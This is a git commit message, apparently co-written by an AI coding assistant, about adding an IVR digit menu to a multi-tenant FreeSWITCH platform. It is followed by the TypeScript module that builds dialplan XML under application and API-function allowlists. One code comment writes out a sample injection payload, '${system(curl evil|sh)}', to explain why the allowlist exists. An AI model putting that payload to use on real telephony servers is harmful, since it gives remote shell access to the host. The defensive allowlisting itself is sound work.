Continuação de "montar o IVR e as rotas de entrada": com a fundação de
roteamento por DID já funcionando, faltava o menu em si.
`play_and_get_digits` adicionado ao allowlist de applications (só coleta
dígitos numa variable, nunca executa nada — mesmo risco zero dos outros
já permitidos). `ALLOWED_CONDITION_FIELDS` ganhou um segundo modo:
`${variavel}` simples além dos 6 campos fixos, com a mesma garantia
anti-RCE de `data` (o regex exige identificador puro, sem parênteses,
então nunca vira `${funcname(...)}`).
Achado real construindo o primeiro menu de teste: FreeSWITCH resolve
TODAS as condições de um contexto antes de executar qualquer ação — uma
variable setada por `play_and_get_digits` nunca afeta o casamento de
OUTRA extension na mesma passada. Descoberto porque o primeiro desenho
(2 extensions separadas, uma coletando o dígito, outra checando
`${ivr_choice}`) nunca bateu num teste real com DTMF — o regex era
avaliado com a variable ainda vazia. A forma que funciona: um `transfer`
explícito, na MESMA extension, usando o dígito coletado como novo
destination_number — isso dispara uma consulta de dialplan nova (as
variables já setadas persistem), e as extensions seguintes casam por
destination_number normal.
Testado ponta a ponta com DTMF de verdade: como linphonec não tem um
comando de enviar DTMF interativo, usei `fs_cli uuid_recv_dtmf` (API do
FreeSWITCH que simula o dígito chegando como input do chamador, mesmo
caminho que RFC2833 usaria). Softphone externo ligou pro DID, o IVR
atendeu, tocou o prompt, esperou o dígito: "1" bridged com um ramal real
(atendeu, áudio PCMU bidirecional confirmado); "2" foi pra uma resposta
alternativa (tom diferente) — confirma que a ramificação distingue de
verdade, não só cai sempre na primeira opção.
Detalhes completos em docs/INBOUND_ROUTES.md. Falta só a UI dedicada de
autoria de menu (hoje construído à mão no editor genérico de dialplan) —
backend já suporta tudo que ela precisaria gerar.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
211 lines
8.0 KiB
TypeScript
211 lines
8.0 KiB
TypeScript
function xmlEscape(value: string): string {
|
|
return value
|
|
.replace(/&/g, "&")
|
|
.replace(/</g, "<")
|
|
.replace(/>/g, ">")
|
|
.replace(/"/g, """)
|
|
.replace(/'/g, "'");
|
|
}
|
|
|
|
/**
|
|
* Applications de dialplan permitidas (agente.md secao 180: nunca deixar
|
|
* input de tenant virar comando arbitrário no FreeSWITCH — "system",
|
|
* "exec", "socket" etc. ficam de fora de propósito, mesmo que existam
|
|
* módulos capazes de rodá-las).
|
|
*/
|
|
export const ALLOWED_DIALPLAN_APPLICATIONS = [
|
|
"answer",
|
|
"pre_answer",
|
|
"bridge",
|
|
"hangup",
|
|
"park",
|
|
"playback",
|
|
"ring_ready",
|
|
"respond",
|
|
"set",
|
|
"export",
|
|
"transfer",
|
|
"sleep",
|
|
"record_session",
|
|
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
|
|
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
|
|
// um comando; mesmo padrão de risco zero dos outros já permitidos.
|
|
"pickup",
|
|
// IVR (PHASE 56) — coleta N dígitos numa variable (`min max tries
|
|
// timeout terminators file invalid_file var_name regexp
|
|
// digit_timeout`), nunca executa nada; mesmo padrão de risco zero.
|
|
"play_and_get_digits",
|
|
] as const;
|
|
|
|
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
|
|
|
|
/**
|
|
* Achado real de segurança (secao 180): o allowlist de `application` acima
|
|
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
|
|
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
|
|
* application "segura" já permitida como `set`/`export`/`playback`. Com
|
|
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
|
|
* `system`/`bg_system` roda comando de shell arbitrário no host do
|
|
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
|
|
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
|
|
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
|
|
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
|
|
* interpolação de valor, não chamada de API.
|
|
*/
|
|
export const ALLOWED_INLINE_API_FUNCTIONS = [
|
|
"user_data", // lookup de variável do directory de outro usuário (pickup group)
|
|
"escape",
|
|
"url_encode",
|
|
"url_decode",
|
|
"regex",
|
|
"strftime",
|
|
] as const;
|
|
|
|
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
|
|
|
|
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
|
|
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
|
|
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
|
|
* nunca expandido pelo FreeSWITCH). */
|
|
export function findDisallowedInlineFunctionCalls(text: string): string[] {
|
|
const found = new Set<string>();
|
|
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
|
|
const name = match[1];
|
|
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
|
|
found.add(name);
|
|
}
|
|
}
|
|
return Array.from(found);
|
|
}
|
|
|
|
export const ALLOWED_CONDITION_FIELDS = [
|
|
"destination_number",
|
|
"caller_id_number",
|
|
"caller_id_name",
|
|
"context",
|
|
"network_addr",
|
|
"source",
|
|
] as const;
|
|
|
|
export type AllowedConditionField = (typeof ALLOWED_CONDITION_FIELDS)[number];
|
|
|
|
const VARIABLE_CONDITION_FIELD_PATTERN = /^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/;
|
|
|
|
/**
|
|
* PHASE 56 (IVR): além dos campos fixos acima, aceita um `${variavel}`
|
|
* simples (ex.: `${ivr_choice}`, o dígito que `play_and_get_digits`
|
|
* guardou) — é assim que o dialplan ramifica por dígito coletado. O
|
|
* regex exige identificador puro, sem parênteses — nunca bate com
|
|
* `${funcname(...)}` (chamada de API), então o mesmo risco de RCE já
|
|
* fechado pra `data` (secao 180) não se aplica aqui: não tem função pra
|
|
* chamar, só interpolação de valor, igual `${destination_number}` já é.
|
|
*/
|
|
export function isAllowedConditionField(field: string): boolean {
|
|
return (ALLOWED_CONDITION_FIELDS as readonly string[]).includes(field) || VARIABLE_CONDITION_FIELD_PATTERN.test(field);
|
|
}
|
|
|
|
export interface DialplanAction {
|
|
application: AllowedDialplanApplication;
|
|
data?: string;
|
|
}
|
|
|
|
export interface DialplanExtensionInput {
|
|
name: string;
|
|
// string, não AllowedConditionField: PHASE 56 (IVR) também aceita
|
|
// `${variavel}` — validado na entrada da API via isAllowedConditionField,
|
|
// não pelo tipo (ver comentário acima da função).
|
|
conditionField: string;
|
|
conditionExpr: string;
|
|
actions: DialplanAction[];
|
|
antiActions?: DialplanAction[];
|
|
continueOnFalse: boolean;
|
|
order: number;
|
|
}
|
|
|
|
function actionsXml(tag: "action" | "anti-action", actions: DialplanAction[] | undefined): string {
|
|
if (!actions || actions.length === 0) return "";
|
|
return actions
|
|
.map(
|
|
(a) =>
|
|
` <${tag} application="${xmlEscape(a.application)}"${
|
|
a.data !== undefined ? ` data="${xmlEscape(a.data)}"` : ""
|
|
}/>`,
|
|
)
|
|
.join("\n");
|
|
}
|
|
|
|
/**
|
|
* XML de dialplan (agente.md secao 43-44). Uma condição por extension —
|
|
* simplificação deliberada em relação ao FreeSWITCH puro (que permite
|
|
* múltiplas <condition> por extension); cobre o editor estruturado descrito
|
|
* na especificação sem a complexidade de encadeamento arbitrário.
|
|
*/
|
|
/**
|
|
* Contexto sintético "inbound" (PHASE 56, docs/INBOUND_ROUTES.md) — o
|
|
* profile "external" do FreeSWITCH aponta pra este contexto (renomeado do
|
|
* "public" vanilla no Dockerfile), que NÃO tem arquivo estático, então
|
|
* toda chamada de entrada por tronco passa por aqui via mod_xml_curl.
|
|
* Diferente do dialplan do tenant (`buildDialplanXml`, versionado,
|
|
* editável), este XML é gerado direto pela resolução de
|
|
* `InboundRoute.didNumber` — nunca guardado em `dialplan_versions`. Faz só
|
|
* duas coisas: injeta `b2bcall_tenant_id` (nenhuma chamada de entrada
|
|
* carrega isso até aqui) e transfere pro destino real do tenant — o
|
|
* `transfer` dispara uma nova resolução de dialplan (agora já com a
|
|
* variable presente), reaproveitando 100% do dialplan normal do tenant
|
|
* (ex.: a regra "Discagem interna" já testada pro pickup de grupo).
|
|
*
|
|
* `domain_name` TAMBÉM precisa ser setado explicitamente — achado real
|
|
* testando com uma chamada de verdade: sem isso, o `bridge
|
|
* data="user/${"${destination_number}"}@${"${domain_name}"}"` da
|
|
* "Discagem interna" resolve `${"${domain_name}"}` pro domínio GLOBAL
|
|
* default (`$${domain}` do vars.xml, ex.: "b2bcall.local"), nunca pro
|
|
* domínio de verdade do tenant — a leg de entrada não é um ramal
|
|
* registrado, então nada preenche essa variable sozinho.
|
|
*/
|
|
export function buildInboundRouteXml(params: {
|
|
tenantId: string;
|
|
domain: string;
|
|
destinationNumber: string;
|
|
destinationContext: string;
|
|
}): string {
|
|
return `<?xml version="1.0" encoding="UTF-8"?>
|
|
<document type="freeswitch/xml">
|
|
<section name="dialplan">
|
|
<context name="inbound">
|
|
<extension name="inbound-route">
|
|
<condition>
|
|
<action application="set" data="b2bcall_tenant_id=${xmlEscape(params.tenantId)}"/>
|
|
<action application="set" data="domain_name=${xmlEscape(params.domain)}"/>
|
|
<action application="transfer" data="${xmlEscape(params.destinationNumber)} XML ${xmlEscape(params.destinationContext)}"/>
|
|
</condition>
|
|
</extension>
|
|
</context>
|
|
</section>
|
|
</document>`;
|
|
}
|
|
|
|
export function buildDialplanXml(context: string, extensions: DialplanExtensionInput[]): string {
|
|
const sorted = [...extensions].sort((a, b) => a.order - b.order);
|
|
|
|
const extensionsXml = sorted
|
|
.map((ext) => {
|
|
const actionsBlock = actionsXml("action", ext.actions);
|
|
const antiActionsBlock = actionsXml("anti-action", ext.antiActions);
|
|
return ` <extension name="${xmlEscape(ext.name)}" continue="${ext.continueOnFalse ? "true" : "false"}">
|
|
<condition field="${xmlEscape(ext.conditionField)}" expression="${xmlEscape(ext.conditionExpr)}">
|
|
${actionsBlock}${antiActionsBlock ? `\n${antiActionsBlock}` : ""}
|
|
</condition>
|
|
</extension>`;
|
|
})
|
|
.join("\n");
|
|
|
|
return `<?xml version="1.0" encoding="UTF-8"?>
|
|
<document type="freeswitch/xml">
|
|
<section name="dialplan">
|
|
<context name="${xmlEscape(context)}">
|
|
${extensionsXml}
|
|
</context>
|
|
</section>
|
|
</document>`;
|
|
}
|